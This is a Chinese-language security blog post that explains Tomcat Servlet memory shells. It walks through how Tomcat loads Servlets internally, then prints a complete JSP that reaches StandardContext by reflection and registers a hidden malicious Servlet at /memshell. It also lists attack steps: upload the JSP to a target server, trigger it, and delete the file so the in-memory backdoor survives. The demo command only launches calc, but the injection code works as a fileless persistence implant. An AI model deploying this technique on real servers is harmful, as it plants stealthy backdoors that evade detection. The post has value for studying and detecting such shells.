Loading ...
Java 内存马(一):Servlet 内存马

1. 基本概念

Servlet 内存马 是通过 运行时动态注册 Servlet 的方式,将恶意 Servlet 植入 Web 容器中。

特点:

  • 无文件落地:不依赖磁盘上的 class 文件或 web.xml 配置

  • 驻留内存:直至容器重启前一直存在

  • 隐蔽性高:通过 URL 请求即可触发,常规查杀不易发现

常见利用场景:攻击者上传一个 JSP 文件,通过反射操作 Tomcat 内部对象,在运行时注入恶意 Servlet。

2. Servlet 装载流程(开发者视角)

要理解内存马,首先需要知道 正常情况下 Servlet 是如何被加载的

2.1 编写 Servlet 类

public class HelloServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("hello world");
    }
}

2.2 在 web.xml 中配置

<servlet>
    <servlet-name>HelloServlet</servlet-name>
    <servlet-class>com.example.memshell.HelloServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>HelloServlet</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

2.3 Tomcat 加载

  • 启动时,Tomcat 解析 web.xml

  • 加载 HelloServlet

  • 建立 URL /hello 与该 Servlet 的映射

3. Tomcat Servlet 加载流程(容器内部机制)

深入 Tomcat 源码,可以看到 Servlet 装载的具体过程。

3.1 Web 应用启动

  • 每个 Web 应用对应一个 StandardContext 容器

  • Tomcat 调用 ContextConfig#configureStart(),加载并解析 web.xml

3.2 解析 web.xml

  • ContextConfig#configureContext(WebXml webxml) 方法处理配置

  • webxml 内部结构

    • webxml.servlets:保存 <servlet> 定义

    • webxml.servletMappings:保存 <servlet-mapping> 映射关系

3.3 注册 Servlet 定义

for (WebXml.Servlet servlet : webxml.getServlets().values()) {
    Wrapper wrapper = context.createWrapper();
    wrapper.setName(servlet.getName());
    wrapper.setServletClass(servlet.getClassName());
    context.addChild(wrapper);
}
  • createWrapper() → 创建 StandardWrapper(Servlet 包装类)

  • addChild(wrapper) → 将 Servlet 注册到 StandardContext

👉 此时,Servlet 已被加入容器,但尚未建立 URL 映射。

3.4 注册 URL 映射

for (Map.Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
    context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
  • entry.getKey() → URL pattern,例如 /hello

  • entry.getValue() → Servlet 名称,例如 HelloServlet

  • 存入 StandardContext.servletMappings

3.5 请求处理流程

当客户端请求 /hello

  1. Mapper 组件根据 URL 找到对应的 Wrapper

  2. Wrapper.allocate() 创建或复用 Servlet 实例

  3. 调用 service() 方法 → 分发到 doGet()/doPost()

  4. 返回响应给客户端

3.6 关键类总结

  • StandardContext:Web 应用容器,管理所有 Servlet/Filter/Listener

  • StandardWrapper:Servlet 包装类,负责生命周期管理(init/service/destroy)

  • Mapper:负责 URL 匹配和请求分发

  • ContextConfig:负责解析 web.xml 并注册到容器

3.7 内存马切入点

  • 正常流程:由 web.xml 驱动

  • 内存马流程:跳过配置文件,直接在运行时操作 StandardContext

  • 核心调用:

    • addChild(wrapper) → 注入恶意 Servlet

    • addServletMappingDecoded(url, name) → 建立恶意 URL 映射

4. 内存马实现机制

内存马的实现步骤:

  1. 创建恶意 Servlet 类(执行命令/回显等)

  2. 获取 StandardContext

    • 通过 request.getServletContext() → 反射逐层获取内部 StandardContext

  3. 创建 Wrapper 并封装 Servlet

  4. 将 Wrapper 注册到容器addChild(wrapper))

  5. 设置 URL 映射addServletMappingDecoded()

5. 示例代码(JSP 内存马)

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    // 恶意 Servlet 定义
    public class ShellServlet extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            Runtime.getRuntime().exec("calc"); // 示例:执行系统命令
        }
    }
%>

<%
    // 1. 获取 ServletContext
    ServletContext servletContext = request.getServletContext();

    // 2. 反射获取 ApplicationContext
    Field appCtxField = servletContext.getClass().getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);

    // 3. 获取 StandardContext
    Field stdCtxField = appCtx.getClass().getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);

    // 4. 创建 Wrapper
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName("memshell");
    wrapper.setServletClass(ShellServlet.class.getName());
    wrapper.setServlet(new ShellServlet());

    // 5. 注册 Servlet 与映射
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/memshell", "memshell");
%>

6. 触发步骤

  1. 上传 JSP 木马到目标服务器

  2. 访问 JSP → 执行注入逻辑

  3. 访问 /memshell → 触发恶意 Servlet

  4. (可选)删除 JSP 文件,内存马依然存活

7. 总结

  • 开发者视角:编写 Servlet → 配置 web.xml → Tomcat 自动加载

  • 容器内部视角:ContextConfig 解析 web.xml → 创建 Wrapper → 注册到 StandardContext → 建立 URL 映射

  • 内存马本质:在运行时动态完成这一套流程,不依赖文件,直接在内存中注册恶意 Servlet

  • 关键 APIaddChild()addServletMappingDecoded()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇